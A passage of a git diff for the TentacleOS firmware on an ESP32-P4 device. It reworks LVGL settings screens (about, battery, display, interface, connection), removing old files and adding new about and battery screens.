INFO_BOX_HEIGHT); - lv_obj_align(info_box, LV_ALIGN_CENTER, 0, INFO_BOX_ALIGN_OFFSET_Y); - lv_obj_add_style(info_box, &style_info_box, 0); - lv_obj_set_flex_flow(info_box, LV_FLEX_FLOW_COLUMN); - lv_obj_set_flex_align(info_box, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_clear_flag(info_box, LV_OBJ_FLAG_SCROLLABLE); - - lv_obj_t *title = lv_label_create(info_box); - lv_label_set_text(title, "TENTACLE OS"); - lv_obj_set_style_text_color(title, current_theme.text_main, 0); - lv_obj_set_style_margin_bottom(title, TITLE_MARGIN_BOTTOM, 0); - - lv_obj_t *version = lv_label_create(info_box); - lv_label_set_text(version, "Version: DEV"); - lv_obj_set_style_text_color(version, current_theme.text_main, 0); - - lv_obj_t *hardware = lv_label_create(info_box); - lv_label_set_text(hardware, "HW: ESP32-P4"); - lv_obj_set_style_text_color(hardware, current_theme.text_main, 0); - - lv_obj_t *build = lv_label_create(info_box); - lv_label_set_text(build, "Build: Jan 2026"); - lv_obj_set_style_text_color(build, current_theme.text_main, 0); - - lv_obj_t *hint = lv_label_create(info_box); - lv_label_set_text(hint, "< PRESS TO EXIT >"); - lv_obj_set_style_text_color(hint, current_theme.text_main, 0); - lv_obj_set_style_margin_top(hint, HINT_MARGIN_TOP, 0); - - lv_obj_add_event_cb(screen_about, screen_back_event_cb, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, screen_about); - lv_group_focus_obj(screen_about); - } - - lv_screen_load(screen_about); -} - -static void init_styles(void) { - static bool s_styles_initialized = false; - - if (s_styles_initialized) { - lv_style_reset(&style_info_box); - } - - lv_style_init(&style_info_box); - lv_style_set_bg_color(&style_info_box, current_theme.bg_item_bot); - lv_style_set_bg_grad_color(&style_info_box, current_theme.bg_item_top); - lv_style_set_bg_grad_dir(&style_info_box, LV_GRAD_DIR_VER); - lv_style_set_border_width(&style_info_box, INFO_BOX_BORDER_WIDTH); - lv_style_set_border_color(&style_info_box, ui_theme_get_accent()); - lv_style_set_radius(&style_info_box, INFO_BOX_RADIUS); - lv_style_set_pad_all(&style_info_box, INFO_BOX_PAD); - - s_styles_initialized = true; -} - -static void screen_back_event_cb(lv_event_t *e) { - uint32_t key = lv_event_get_key(e); - - if (key == LV_KEY_ESC || key == LV_KEY_LEFT || key == LV_KEY_ENTER) { - ui_switch_screen(SCREEN_SETTINGS); - } -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/battery_settings/battery_settings_ui.c b/firmware_p4/components/Applications/ui/screens/battery_settings/battery_settings_ui.c deleted file mode 100644 index 1f65cac93..000000000 --- a/firmware_p4/components/Applications/ui/screens/battery_settings/battery_settings_ui.c +++ /dev/null @@ -1,144 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "battery_settings_ui.h" - -#include "esp_log.h" - -#include "buttons_gpio.h" -#include "lv_port_indev.h" -#include "menu_component_ui.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "BATTERY_SETTINGS_UI"; - -#define NAV_TIMER_INTERVAL_MS 50 - -#define IDX_PWR_SAVE 0 -#define IDX_TIMEOUT 1 -#define IDX_MODE 2 - -static const char *TIMEOUT_OPTIONS[] = {"30s", "1m", "5m", "NEVER"}; -#define TIMEOUT_OPTIONS_COUNT (sizeof(TIMEOUT_OPTIONS) / sizeof(TIMEOUT_OPTIONS[0])) - -static const char *PERF_OPTIONS[] = {"MIN", "BAL", "MAX"}; -#define PERF_OPTIONS_COUNT (sizeof(PERF_OPTIONS) / sizeof(PERF_OPTIONS[0])) - -static lv_obj_t *s_screen_battery = NULL; -static menu_component_t s_menu; -static lv_timer_t *s_nav_timer = NULL; -static bool s_is_power_save = false; -static int s_timeout_idx = 1; -static int s_perf_idx = 1; -static bool s_btn_up_last = false; -static bool s_btn_down_last = false; -static bool s_btn_left_last = false; -static bool s_btn_right_last = false; -static bool s_btn_ok_last = false; -static bool s_btn_back_last = false; - -static void nav_timer_cb(lv_timer_t *t); - -void ui_battery_settings_open(void) { - if (s_screen_battery != NULL) { - lv_obj_del(s_screen_battery); - s_screen_battery = NULL; - } - - s_screen_battery = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_battery, current_theme.screen_base, 0); - lv_obj_set_style_bg_opa(s_screen_battery, LV_OPA_COVER, 0); - lv_obj_remove_flag(s_screen_battery, LV_OBJ_FLAG_SCROLLABLE); - - s_menu = menu_component_create(s_screen_battery, "BATTERY", NULL); - - menu_component_add_toggle( - &s_menu, "/assets/icons/battery_menu_icon.bin", "PWR SAVE", s_is_power_save); - menu_component_add_selector(&s_menu, NULL, "TIMEOUT", TIMEOUT_OPTIONS[s_timeout_idx]); - menu_component_add_selector(&s_menu, NULL, "MODE", PERF_OPTIONS[s_perf_idx]); - - if (s_nav_timer == NULL) { - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); - } - - lv_screen_load(s_screen_battery); -} - -static void nav_timer_cb(lv_timer_t *t) { - if (lv_screen_active() != s_screen_battery) { - lv_timer_delete(t); - s_nav_timer = NULL; - return; - } - - if (ui_input_is_locked()) { - return; - } - - bool up = up_button_is_down(); - bool down = down_button_is_down(); - bool left = left_button_is_down(); - bool right = right_button_is_down(); - bool ok = ok_button_is_down(); - bool back = back_button_is_down(); - - int sel = menu_component_get_selected(&s_menu); - - if (down && !s_btn_down_last) { - menu_component_next(&s_menu); - } - - if (up && !s_btn_up_last) { - menu_component_prev(&s_menu); - } - - if (back && !s_btn_back_last) { - ui_switch_screen(SCREEN_SETTINGS); - } - - if (right && !s_btn_right_last) { - if (sel == IDX_PWR_SAVE) { - menu_component_toggle_item(&s_menu, IDX_PWR_SAVE); - s_is_power_save = menu_component_get_toggle(&s_menu, IDX_PWR_SAVE); - } else if (sel == IDX_TIMEOUT) { - s_timeout_idx = (s_timeout_idx + 1) % (int)TIMEOUT_OPTIONS_COUNT; - menu_component_set_selector_value(&s_menu, IDX_TIMEOUT, TIMEOUT_OPTIONS[s_timeout_idx]); - } else if (sel == IDX_MODE) { - s_perf_idx = (s_perf_idx + 1) % (int)PERF_OPTIONS_COUNT; - menu_component_set_selector_value(&s_menu, IDX_MODE, PERF_OPTIONS[s_perf_idx]); - } - } - - if (left && !s_btn_left_last) { - if (sel == IDX_PWR_SAVE) { - menu_component_toggle_item(&s_menu, IDX_PWR_SAVE); - s_is_power_save = menu_component_get_toggle(&s_menu, IDX_PWR_SAVE); - } else if (sel == IDX_TIMEOUT) { - s_timeout_idx = (s_timeout_idx - 1 + (int)TIMEOUT_OPTIONS_COUNT) % (int)TIMEOUT_OPTIONS_COUNT; - menu_component_set_selector_value(&s_menu, IDX_TIMEOUT, TIMEOUT_OPTIONS[s_timeout_idx]); - } else if (sel == IDX_MODE) { - s_perf_idx = (s_perf_idx - 1 + (int)PERF_OPTIONS_COUNT) % (int)PERF_OPTIONS_COUNT; - menu_component_set_selector_value(&s_menu, IDX_MODE, PERF_OPTIONS[s_perf_idx]); - } - } - - s_btn_up_last = up; - s_btn_down_last = down; - s_btn_left_last = left; - s_btn_right_last = right; - s_btn_ok_last = ok; - s_btn_back_last = back; -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/connection_settings/connection_settings_ui.c b/firmware_p4/components/Applications/ui/screens/connection_settings/connection_settings_ui.c index bdf137542..9f8d8a417 100644 --- a/firmware_p4/components/Applications/ui/screens/connection_settings/connection_settings_ui.c +++ b/firmware_p4/components/Applications/ui/screens/connection_settings/connection_settings_ui.c @@ -22,6 +22,7 @@ #include "lv_port_indev.h" #include "menu_component_ui.h" #include "msgbox_ui.h" +#include "notify_ui.h" #include "ui_manager.h" #include "ui_theme.h" #include "wifi_service.h" @@ -61,21 +62,21 @@ void ui_connection_settings_open(void) { s_screen_conn = NULL; } - bool is_wifi_active = wifi_service_is_active(); + bool is_wifi_active = true; s_screen_conn = lv_obj_create(NULL); lv_obj_set_style_bg_color(s_screen_conn, current_theme.screen_base, 0); lv_obj_set_style_bg_opa(s_screen_conn, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen_conn, LV_OBJ_FLAG_SCROLLABLE); - s_menu = menu_component_create(s_screen_conn, "CONNECTION", NULL); + s_menu = menu_component_create(s_screen_conn, "CONNECTION", "/assets/icons/header_menu_icon.bin"); menu_component_add_toggle(&s_menu, "/assets/icons/wifi_menu_icon.bin", "WI-FI", is_wifi_active); menu_component_add_item(&s_menu, "/assets/icons/search_menu_icon.bin", "NETWORKS"); if (s_nav_timer == NULL) s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); - lv_screen_load(s_screen_conn); + ui_screen_load(s_screen_conn); } static void wifi_loading_timer_cb(lv_timer_t *timer) { @@ -88,6 +89,7 @@ static void wifi_loading_timer_cb(lv_timer_t *timer) { lv_timer_del(timer); s_wifi_loading_timer = NULL; msgbox_close(); + notify(NOTIFY_INFO, "Wi-Fi on"); } static void show_wifi_loading(void) { @@ -115,10 +117,10 @@ static void nav_timer_cb(lv_timer_t *timer) { if (ui_input_is_locked()) return; - bool is_up = up_button_is_down(); - bool is_down = down_button_is_down(); - bool is_left = left_button_is_down(); - bool is_right = right_button_is_down(); + bool is_up = ui_btn_up(); + bool is_down = ui_btn_down(); + bool is_left = ui_btn_left(); + bool is_right = ui_btn_right(); bool is_ok = ok_button_is_down(); bool is_back = back_button_is_down(); @@ -139,25 +141,18 @@ static void nav_timer_cb(lv_timer_t *timer) { bool is_new_state = menu_component_get_toggle(&s_menu, IDX_WIFI); wifi_service_set_enabled(is_new_state); - if (is_new_state) + if (is_new_state) { show_wifi_loading(); - else + } else { msgbox_close(); + notify(NOTIFY_INFO, "Wi-Fi off"); + } } } if ((is_ok && !s_btn_ok_last) || (is_right && !s_btn_right_last)) { - if (sel == IDX_NETWORKS) { - if (!wifi_service_is_active()) { - int64_t now = esp_timer_get_time(); - if (now - s_msgbox_open_time >= MSGBOX_DEBOUNCE_US) { - s_msgbox_open_time = now; - msgbox_open(LV_SYMBOL_CLOSE, "WIFI OFF", "OK", NULL, NULL); - } - } else { - ui_switch_screen(SCREEN_CONNECT_WIFI); - } - } + if (sel == IDX_NETWORKS) + ui_switch_screen(SCREEN_CONNECT_WIFI); } s_btn_up_last = is_up; @@ -166,4 +161,4 @@ static void nav_timer_cb(lv_timer_t *timer) { s_btn_right_last = is_right; s_btn_ok_last = is_ok; s_btn_back_last = is_back; -} \ No newline at end of file +} diff --git a/firmware_p4/components/Applications/ui/screens/display_settings/display_settings_ui.c b/firmware_p4/components/Applications/ui/screens/display_settings/display_settings_ui.c deleted file mode 100644 index 47d4c94ec..000000000 --- a/firmware_p4/components/Applications/ui/screens/display_settings/display_settings_ui.c +++ /dev/null @@ -1,161 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "display_settings_ui.h" - -#include - -#include "esp_log.h" -#include "st7789.h" - -#include "buttons_gpio.h" -#include "menu_component_ui.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "DISPLAY_UI"; - -#define NAV_TIMER_INTERVAL_MS 50 -#define BRIGHTNESS_STEP 20 -#define BRIGHTNESS_MIN 1 -#define ROTATION_BUF_SIZE 8 -#define ROTATION_MIN 1 -#define ROTATION_MAX 4 - -typedef enum { - DISPLAY_ITEM_BRIGHTNESS = 0, - DISPLAY_ITEM_ROTATION = 1, -} display_item_t; - -static lv_obj_t *s_screen_display = NULL; -static menu_component_t s_menu; -static lv_timer_t *s_nav_timer = NULL; - -static int s_brightness_val = 3; -static int s_rotation_val = 1; - -static bool s_btn_up_last = false; -static bool s_btn_down_last = false; -static bool s_btn_left_last = false; -static bool s_btn_right_last = false; -static bool s_btn_ok_last = false; -static bool s_btn_back_last = false; - -static void update_rotation_value(void); -static void nav_timer_cb(lv_timer_t *timer); - -void update_lvgl_display_rotation(uint8_t rotation) { - (void)rotation; - lv_obj_invalidate(lv_scr_act()); -} - -void ui_display_settings_open(void) { - if (s_screen_display != NULL) { - lv_obj_del(s_screen_display); - s_screen_display = NULL; - } - - s_brightness_val = lcd_get_brightness() / BRIGHTNESS_STEP; - if (s_brightness_val < BRIGHTNESS_MIN) - s_brightness_val = BRIGHTNESS_MIN; - - s_rotation_val = lcd_get_rotation(); - - s_screen_display = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen_display, current_theme.screen_base, 0); - lv_obj_set_style_bg_opa(s_screen_display, LV_OPA_COVER, 0); - lv_obj_remove_flag(s_screen_display, LV_OBJ_FLAG_SCROLLABLE); - - s_menu = menu_component_create(s_screen_display, "DISPLAY", NULL); - menu_component_add_intensity( - &s_menu, "/assets/icons/bright_menu_icon.bin", "BRIGHTNESS", s_brightness_val); - - char buf[ROTATION_BUF_SIZE]; - snprintf(buf, sizeof(buf), "%d", s_rotation_val); - menu_component_add_selector(&s_menu, "/assets/icons/rotate_menu_icon.bin", "ROTATION", buf); - - if (s_nav_timer == NULL) - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); - - lv_screen_load(s_screen_display); -} - -static void update_rotation_value(void) { - char buf[ROTATION_BUF_SIZE]; - snprintf(buf, sizeof(buf), "%d", s_rotation_val); - menu_component_set_selector_value(&s_menu, DISPLAY_ITEM_ROTATION, buf); -} - -static void nav_timer_cb(lv_timer_t *timer) { - if (lv_screen_active() != s_screen_display) { - lv_timer_delete(timer); - s_nav_timer = NULL; - return; - } - - if (ui_input_is_locked()) - return; - - bool is_up = up_button_is_down(); - bool is_down = down_button_is_down(); - bool is_left = left_button_is_down(); - bool is_right = right_button_is_down(); - bool is_ok = ok_button_is_down(); - bool is_back = back_button_is_down(); - - if (is_down && !s_btn_down_last) - menu_component_next(&s_menu); - - if (is_up && !s_btn_up_last) - menu_component_prev(&s_menu); - - if (is_back && !s_btn_back_last) - ui_switch_screen(SCREEN_SETTINGS); - - int sel = menu_component_get_selected(&s_menu); - - if (is_left && !s_btn_left_last) { - if (sel == DISPLAY_ITEM_BRIGHTNESS) { - menu_component_intensity_dec(&s_menu, DISPLAY_ITEM_BRIGHTNESS); - s_brightness_val = menu_component_get_intensity(&s_menu, DISPLAY_ITEM_BRIGHTNESS); - lcd_set_brightness(s_brightness_val * BRIGHTNESS_STEP); - } else if (sel == DISPLAY_ITEM_ROTATION) { - s_rotation_val = (s_rotation_val == ROTATION_MIN) ? ROTATION_MAX : s_rotation_val - 1; - lcd_set_rotation(s_rotation_val); - update_lvgl_display_rotation(s_rotation_val); - update_rotation_value(); - } - } - - if (is_right && !s_btn_right_last) { - if (sel == DISPLAY_ITEM_BRIGHTNESS) { - menu_component_intensity_inc(&s_menu, DISPLAY_ITEM_BRIGHTNESS); - s_brightness_val = menu_component_get_intensity(&s_menu, DISPLAY_ITEM_BRIGHTNESS); - lcd_set_brightness(s_brightness_val * BRIGHTNESS_STEP); - } else if (sel == DISPLAY_ITEM_ROTATION) { - s_rotation_val = (s_rotation_val % ROTATION_MAX) + 1; - lcd_set_rotation(s_rotation_val); - update_lvgl_display_rotation(s_rotation_val); - update_rotation_value(); - } - } - - s_btn_up_last = is_up; - s_btn_down_last = is_down; - s_btn_left_last = is_left; - s_btn_right_last = is_right; - s_btn_ok_last = is_ok; - s_btn_back_last = is_back; -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/interface_settings/interface_settings_ui.c b/firmware_p4/components/Applications/ui/screens/interface_settings/interface_settings_ui.c deleted file mode 100644 index d990c3a6c..000000000 --- a/firmware_p4/components/Applications/ui/screens/interface_settings/interface_settings_ui.c +++ /dev/null @@ -1,256 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "interface_settings_ui.h" - -#include -#include -#include - -#include "esp_log.h" -#include "cJSON.h" - -#include "ui_theme.h" -#include "menu_component_ui.h" -#include "ui_manager.h" -#include "lv_port_indev.h" -#include "buttons_gpio.h" -#include "storage_assets.h" -#include "tos_flash_paths.h" - -static const char *TAG = "INTERFACE_SETTINGS_UI"; - -#define INTERFACE_CONFIG_PATH FLASH_CONFIG_INTERFACE -#define HEADER_COUNT 4 -#define NAV_TIMER_PERIOD_MS 50 -#define CONFIG_FILE_MAX_BYTES 4096 -#define CONFIG_DIR_MODE 0777 - -typedef enum { - ITEM_THEME = 0, - ITEM_HEADER = 1, - ITEM_FOOTER = 2, - ITEM_COUNT = 3, -} interface_item_t; - -static lv_obj_t *s_screen = NULL; -static menu_component_t s_menu; -static lv_timer_t *s_nav_timer = NULL; - -static bool s_btn_up_last = false; -static bool s_btn_down_last = false; -static bool s_btn_left_last = false; -static bool s_btn_right_last = false; -static bool s_btn_ok_last = false; -static bool s_btn_back_last = false; - -static int s_header_idx = 0; -static bool s_hide_footer = false; -static int s_lang_idx = 0; - -static const char *HEADER_OPTIONS[HEADER_COUNT] = {"DEFAULT", "GD TOP", "GD BOT", "MINIMAL"}; -static const char *LANG_OPTIONS[] = {"EN", "PT", "ES", "FR"}; - -static void nav_timer_cb(lv_timer_t *t); - -void interface_save_config(void) { - if (!storage_assets_is_mounted()) - return; - - mkdir("/assets/config", CONFIG_DIR_MODE); - mkdir(FLASH_MOUNT "/config/screen", CONFIG_DIR_MODE); - - cJSON *root = cJSON_CreateObject(); - if (root == NULL) { - ESP_LOGE(TAG, "Failed to create JSON object"); - return; - } - - cJSON_AddNumberToObject(root, "header_idx", s_header_idx); - cJSON_AddBoolToObject(root, "hide_footer", s_hide_footer); - cJSON_AddNumberToObject(root, "lang_idx", s_lang_idx); - - char *out = cJSON_PrintUnformatted(root); - if (out != NULL) { - FILE *f = fopen(INTERFACE_CONFIG_PATH, "w"); - if (f != NULL) { - fputs(out, f); - fclose(f); - } else { - ESP_LOGE(TAG, "Failed to open config for writing: %s", INTERFACE_CONFIG_PATH); - } - cJSON_free(out); - } else { - ESP_LOGE(TAG, "Failed to serialize config JSON"); - } - - cJSON_Delete(root); -} - -void interface_load_config(void) { - if (!storage_assets_is_mounted()) - return; - - FILE *f = fopen(INTERFACE_CONFIG_PATH, "r"); - if (f == NULL) - return; - - fseek(f, 0, SEEK_END); - int32_t fsize = (int32_t)ftell(f); - fseek(f, 0, SEEK_SET); - - if (fsize <= 0 || fsize > CONFIG_FILE_MAX_BYTES) { - ESP_LOGE(TAG, "Invalid config file size: %ld", (long)fsize); - fclose(f); - return; - } - - char *data = malloc((size_t)fsize + 1); - if (data == NULL) { - ESP_LOGE(TAG, "Failed to allocate config read buffer"); - fclose(f); - return; - } - - size_t read = fread(data, 1, (size_t)fsize, f); - fclose(f); - - if ((int32_t)read != fsize) { - ESP_LOGE(TAG, "Short read on config file: expected %ld, got %zu", (long)fsize, read); - free(data); - return; - } - - data[fsize] = '\0'; - - cJSON *root = cJSON_Parse(data); - free(data); - - if (root == NULL) { - ESP_LOGE(TAG, "Failed to parse config JSON"); - return; - } - - cJSON *h = cJSON_GetObjectItem(root, "header_idx"); - cJSON *fsw = cJSON_GetObjectItem(root, "hide_footer"); - cJSON *l = cJSON_GetObjectItem(root, "lang_idx"); - - if (cJSON_IsNumber(h)) - s_header_idx = h->valueint; - if (cJSON_IsBool(fsw)) - s_hide_footer = cJSON_IsTrue(fsw); - if (cJSON_IsNumber(l)) - s_lang_idx = l->valueint; - - cJSON_Delete(root); -} - -static void nav_timer_cb(lv_timer_t *t) { - if (lv_screen_active() != s_screen) { - lv_timer_delete(t); - s_nav_timer = NULL; - return; - } - if (ui_input_is_locked()) - return; - - bool up = up_button_is_down(); - bool down = down_button_is_down(); - bool left = left_button_is_down(); - bool right = right_button_is_down(); - bool ok = ok_button_is_down(); - bool back = back_button_is_down(); - - if (down && !s_btn_down_last) { - menu_component_next(&s_menu); - } - if (up && !s_btn_up_last) { - menu_component_prev(&s_menu); - } - - if (back && !s_btn_back_last) { - s_btn_back_last = back; - ui_switch_screen(SCREEN_SETTINGS); - return; - } - - if (ok && !s_btn_ok_last) { - int sel = menu_component_get_selected(&s_menu); - if (sel == ITEM_THEME) { - s_btn_ok_last = ok; - ui_switch_screen(SCREEN_THEME_SELECTOR); - return; - } - } - - if ((left && !s_btn_left_last) || (right && !s_btn_right_last)) { - int sel = menu_component_get_selected(&s_menu); - int dir = (right && !s_btn_right_last) ? 1 : -1; - - switch (sel) { - case ITEM_THEME: - break; - - case ITEM_HEADER: - s_header_idx = (s_header_idx + dir + HEADER_COUNT) % HEADER_COUNT; - menu_component_set_selector_value(&s_menu, ITEM_HEADER, HEADER_OPTIONS[s_header_idx]); - interface_save_config(); - break; - - case ITEM_FOOTER: - menu_component_toggle_item(&s_menu, ITEM_FOOTER); - s_hide_footer = !menu_component_get_toggle(&s_menu, ITEM_FOOTER); - interface_save_config(); - break; - - default: - break; - } - } - - s_btn_up_last = up; - s_btn_down_last = down; - s_btn_left_last = left; - s_btn_right_last = right; - s_btn_ok_last = ok; - s_btn_back_last = back; -} - -void ui_interface_settings_open(void) { - interface_load_config(); - - if (s_screen != NULL) { - lv_obj_del(s_screen); - s_screen = NULL; - } - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); - lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - s_menu = menu_component_create(s_screen, "INTERFACE", NULL); - - menu_component_add_item(&s_menu, "/assets/icons/theme_menu_icon.bin", "THEME"); - menu_component_add_selector( - &s_menu, "/assets/icons/header_menu_icon.bin", "HEADER", HEADER_OPTIONS[s_header_idx]); - menu_component_add_toggle(&s_menu, NULL, "FOOTER", !s_hide_footer); - - if (s_nav_timer == NULL) { - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_PERIOD_MS, NULL); - } - - lv_screen_load(s_screen); -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/settings/about_settings_ui.c b/firmware_p4/components/Applications/ui/screens/settings/about_settings_ui.c new file mode 100644 index 000000000..cdf1c8dd2 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/settings/about_settings_ui.c @@ -0,0 +1,133 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "about_settings_ui.h" + +#include "assets_manager.h" +#include "buttons_gpio.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "ABOUT_SETTINGS_UI"; + +#define NAV_TIMER_MS 50 +#define BOB_PX 5 +#define BOB_MS 1200 +#define ENTRY_FADE_MS 220 + +static lv_obj_t *s_screen = NULL; +static lv_timer_t *s_nav_timer = NULL; + +static bool s_back_last = false; + +static void bob_exec_cb(void *obj, int32_t v) { + lv_obj_set_style_translate_y((lv_obj_t *)obj, v, 0); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool back = back_button_is_down(); + if (back && !s_back_last) + ui_switch_screen(SCREEN_SETTINGS); + s_back_last = back; +} + +void ui_about_settings_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + (void)TAG; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + ui_chrome_header(s_screen, "ABOUT", "/assets/icons/about_menu_icon.bin"); + ui_chrome_footer(s_screen, "BACK: EXIT"); + + lv_obj_t *col = lv_obj_create(s_screen); + lv_obj_remove_style_all(col); + lv_obj_set_size(col, LV_PCT(100), LV_SIZE_CONTENT); + lv_obj_center(col); + lv_obj_set_style_translate_y(col, (UI_CHROME_HEADER_H - UI_CHROME_FOOTER_H) / 2, 0); + lv_obj_remove_flag(col, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_flex_flow(col, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_align(col, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_row(col, 6, 0); + + lv_image_dsc_t *octobit = assets_get("/assets/img/octobit.bin"); + if (octobit != NULL) { + lv_obj_t *img = lv_image_create(col); + lv_image_set_src(img, octobit); + + lv_anim_t bob; + lv_anim_init(&bob); + lv_anim_set_var(&bob, img); + lv_anim_set_exec_cb(&bob, bob_exec_cb); + lv_anim_set_values(&bob, -BOB_PX, BOB_PX); + lv_anim_set_duration(&bob, BOB_MS); + lv_anim_set_playback_duration(&bob, BOB_MS); + lv_anim_set_repeat_count(&bob, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&bob, lv_anim_path_ease_in_out); + lv_anim_start(&bob); + } + + lv_obj_t *name = lv_label_create(col); + lv_label_set_text(name, "HighBoy V2"); + lv_obj_set_style_text_font(name, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(name, current_theme.text_main, 0); + + lv_obj_t *fw = lv_label_create(col); + lv_label_set_text(fw, "FW 2.0.0 (4180701)"); + lv_obj_set_style_text_font(fw, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(fw, current_theme.border_accent, 0); + + lv_obj_t *chip = lv_label_create(col); + lv_label_set_text(chip, "ESP32-P4"); + lv_obj_set_style_text_font(chip, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(chip, current_theme.text_main, 0); + + lv_obj_t *mac = lv_label_create(col); + lv_label_set_text(mac, "WiFi MAC AA:BB:CC:DD:EE:FF"); + lv_obj_set_style_text_font(mac, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(mac, current_theme.border_accent, 0); + + lv_obj_t *uptime = lv_label_create(col); + lv_label_set_text(uptime, "Uptime 00:12:43"); + lv_obj_set_style_text_font(uptime, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(uptime, current_theme.text_main, 0); + + lv_obj_t *copy = lv_label_create(col); + lv_label_set_text(copy, "(c) 2025 HIGH CODE"); + lv_obj_set_style_text_font(copy, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(copy, current_theme.border_accent, 0); + + lv_obj_fade_in(col, ENTRY_FADE_MS, 0); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/settings/battery_settings_ui.c b/firmware_p4/components/Applications/ui/screens/settings/battery_settings_ui.c new file mode 100644 index 000000000..c0058772e --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/settings/battery_settings_ui.c @@ -0,0 +1,179 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "battery_settings_ui.h" + +#include "buttons_gpio.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "BATTERY_SETTINGS_UI"; + +#define NAV_TIMER_MS 50 +#define MOCK_PERCENT 76 +#define BAR_ANIM_MS 600 +#define BOLT_ANIM_MS 900 +#define ENTRY_FADE_MS 220 + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_bar = NULL; +static lv_obj_t *s_bolt = NULL; +static lv_timer_t *s_nav_timer = NULL; + +static bool s_back_last = false; + +static void add_stat_row(lv_obj_t *parent, const char *label, const char *value) { + lv_obj_t *row = lv_obj_create(parent); + lv_obj_remove_style_all(row); + lv_obj_set_width(row, LV_PCT(100)); 